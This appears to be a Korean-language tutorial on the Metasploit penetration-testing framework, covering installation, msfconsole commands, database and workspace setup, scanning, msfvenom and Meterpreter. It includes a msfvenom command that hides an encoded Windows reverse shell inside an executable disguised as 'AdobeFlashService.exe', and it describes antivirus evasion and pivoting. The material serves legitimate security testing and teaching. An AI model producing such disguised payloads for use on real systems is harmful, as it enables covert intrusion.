Metasploit Framework
Introduction
Metasploit은 대표적인 Penetration testing framework로 Recon, Scan, Exploit 등 Pentest의 기술적인 부분을 많이 커버할 수 있는 도구입니다. H.D Moore가 초기 개발하였으며, 현재는 Rapid7에서 관리되고 있습니다.
Perl
->Ruby
Network 기반 테스팅에 굉장히 능한 도구이며 공개된 취약점과 Exploit code를 활용할 수 있어서 Pentesting 이외에도 기업의 보안성을 테스트하거나, 버그바운티 등에서도 활용되기도 합니다.
Installation
macOS, Linux에선 one-line script로 설치가 가능합니다. Windows는 별도의 Installer로 설치가 필요하기 때문에 설치 관련 문서를 참고하시기 바랍니다.
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Structure of Tools
Metasploit framework는 msfconsole이란 대표적인 명령 이외에도 여러가지 도구들을 내장하고 있습니다.
Type | Description | |
---|---|---|
msfconsole | CLI | Metasploit의 Console입니다. 대부분의 작업은 여기서 이루어집니다. |
msfd | Daemon | Metasploit daemon입니다. |
msfdb | CLI | Metasploit에서 사용하는 DB를 자동 세팅하는 명령입니다. |
msfrpc | CLI | RPC Client입니다. |
msfrpcd | Daemon | RPCd를 실행하는 명령입니다. 이를 이용하면 Ruby에서 RPC를 통해 Metasploit를 사용할 수 있습니다. |
msfupdate | CLI | Metasploit framework의 업데이트를 위한 명령입니다. |
msfvenom | CLI | Payload 생성을 위한 도구입니다. 이를 통해 한줄짜리 명령으로 원하는 쉘 코드를 실행하는 바이너리 등을 만들 수 있습니다. |
MSFConsole
Usage
<Command> [ARG1 ARG2 ARG3 ...]
Core
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu
history Show command history
load Load a framework plugin
quit Exit the console
repeat Repeat a list of commands
route Route traffic through a session
save Saves the active datastores
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
tips Show a list of useful productivity tips
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
version Show the framework and console library version numbers
Use Modules
advanced Displays advanced options for one or more modules
back Move back from the current context
clearm Clear the module stack
favorite Add module(s) to the list of favorite modules
info Displays information about one or more modules
listm List the module stack
loadpath Searches for and loads modules from a path
options Displays global options or for one or more modules
popm Pops the latest module off the stack and makes it active
previous Sets the previously loaded module as the current module
pushm Pushes the active or list of modules onto the module stack
reload_all Reloads all modules from all defined module paths
search Searches module names and descriptions
show Displays modules of a given type, or all modules
use Interact with a module by name or search term/index
With Database
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the default to reconnect on startup
db_status Show the current data service status
Metasploit은 기본으론 Postgres을 사용합니다. 물론 config 설정에 따라 MySQL 등 다른 Database 사용도 가능합니다.
Set-up Postgres
먼저 Postgres 계정 생성을 위해 postgres 계정으로 전환합니다. 이후 createuser로 metasploit을 위한 계정을 생성합니다.
su - postgres
createuser msfuser -P
그다음 database를 생성하고 만든 계정에 권한을 줍니다.
createdb --owner=msfuser hahwul_database
MSF Connect to DB
msf6 > db_connect msfuser:yourpassword@127.0.0.1:5432/hahwul_database
[*] Rebuilding the module cache in the background...
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
DB 연결 이후부턴 db_*
명령과 workspace 관련 명령을 사용할 수 있습니다.
Automated connect
msf home 디렉토리 내 ./config/database.yml
파일에서 미리 Database에 대한 설정을 지정하고, MSF 사용시 자동으로 로드되도록 할 수 있습니다.
config 하단에 파일을 로드하면 DB 연결정보가 나오고 아래와 같이 작성해주시면 됩니다.
development: &pgsql
adapter: postgresql
database: DB 이름
username: DB 유저 이름(postgres 에서 만든 계정)
password: 위 계정의 패스워드
host: localhost
port: 5432 # 변경하셨다면 변경하신 포트로 작성해주세요.
pool: 5
timeout: 5
Workspace
Basic
Show list
msf6 > workspace
* default
Add
msf6 > workspace -a target
[*] Added workspace: target
[*] Workspace: target
msf6 > workspace
default
* target
Hosts
현재 workspace에 추가된 hosts를 확인합니다. host 정보는 hosts
명령이나 아래 db_*
command를 통해 추가할 수 있습니다.
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
127.0.0.1 localhost Unknown device
msf6 > hosts -a 192.168.0.24
[*] Time: 2022-06-19 14:10:32 UTC Host: host=192.168.0.24
Services
workspace에 누적된 services 리스트를 확인할 수 있습니다. services
명령을 통해 추가하거나 db_nmap 등 포트, 서비스 정보를 추가하는 명령을 통해 추가할 수 있습니다.
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
127.0.0.1 22 tcp ssh open
127.0.0.1 5000 tcp upnp open
127.0.0.1 7000 tcp afs3-fileserver open
127.0.0.1 8080 tcp http-proxy open
db_* Commands
db_
로 시작하는 명령은 결과를 Database에 처리하는 명령어입니다. 대표적으로 db_nmap이 있으며 아래와 같이 nmap이 아닌 db_nmap으로 대상을 스캔하는 경우 결과가 Database에 쌓여 workspace에서 확인할 수 있습니다.
msf6 > db_nmap -PN 192.168.0.4
...snip..
msf6 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.0.4 22 tcp ssh open
192.168.0.4 5000 tcp upnp open
192.168.0.4 7000 tcp afs3-fileserver open
MSFVenom
MSFVenom은 Exploit 코드 생성을 위한 CLI 도구로 Metasploit에서 사용하는 Metepreter 또는 기본 Shell 등을 내장한 코드르 생성할 수 있습니다. 여러 타입의 언어와 포맷을 지원하며, MSFConsole과 쉽게 연동할 수 있어 활용성이 높습니다.
msfvenom -x app.exe \
-p windows/shell/reverse_tcp \
-e x86/shikata_ga_nai -k -f exe \
-i 25 LHOST=xxx.xxx.xxx.xxx LPORT=4444 > AdobeFlashService.exe
exe, py, sh 뿐만 아니라 apk 등 여러 OS에 대해 지원합니다.
Metepreter
Metepreter는 Metasploit에서 제공하는 Shell framework로 bash, sh 와 같은 시스템 쉘보다 해킹에 필요한 기능들을 많이 담고 있습니다. 기본적으로 백신 탐지를 우회하기 위해 fireless로 동작하며 내장된 기능들을 이용하여 대상의 정보를 탈취하거나 쉽게 Local exploit을 실행할 수 있고 Pivoting으로 Vertical/Horizon 단의 Host 들을 추가로 공격하여 점차 시스템을 장악할 수 있습니다.
- Privilege Escalation on Meterpreter
- Metasploit-Aggregator를 이용한 Meterpreter session 관리하기
- Metasploit web delivery 모듈을 이용하여 Command line에서 meterpreter session 만들기
- Data Leak Scenario on Meterpreter using ADS
- Default shell을 Meterpreter Shell로 업그레이드 하기
- Metasploit ipknock을 이용한 hidden meterpreter shell
Customize
- Metasploit에서 커스텀 배너 만들기
- Write Metasploit Module in Golang
- Metasplit의 rhosts에서 Column/Tagging 커스터마이징 하기
- Metasploit Custom Scanner 만들기(Make Simple Scan Module)
Tools
- https://github.com/rapid7/metasploit-framework
- https://github.com/hahwul/mad-metasploit
- https://github.com/hahwul/metasploit-autopwn
- https://github.com/NullArray/AutoSploit
Articles
ZAP과 비슷하게 Metasploit도 제가 작성한 글이 많은편입니다. 아래 페이지를 참고해주세요.
https://www.hahwul.com/categories/metasploit/
References
- https://github.com/rapid7/metasploit-framework
- https://www.hahwul.com/categories/metasploit/
- https://docs.rapid7.com/metasploit/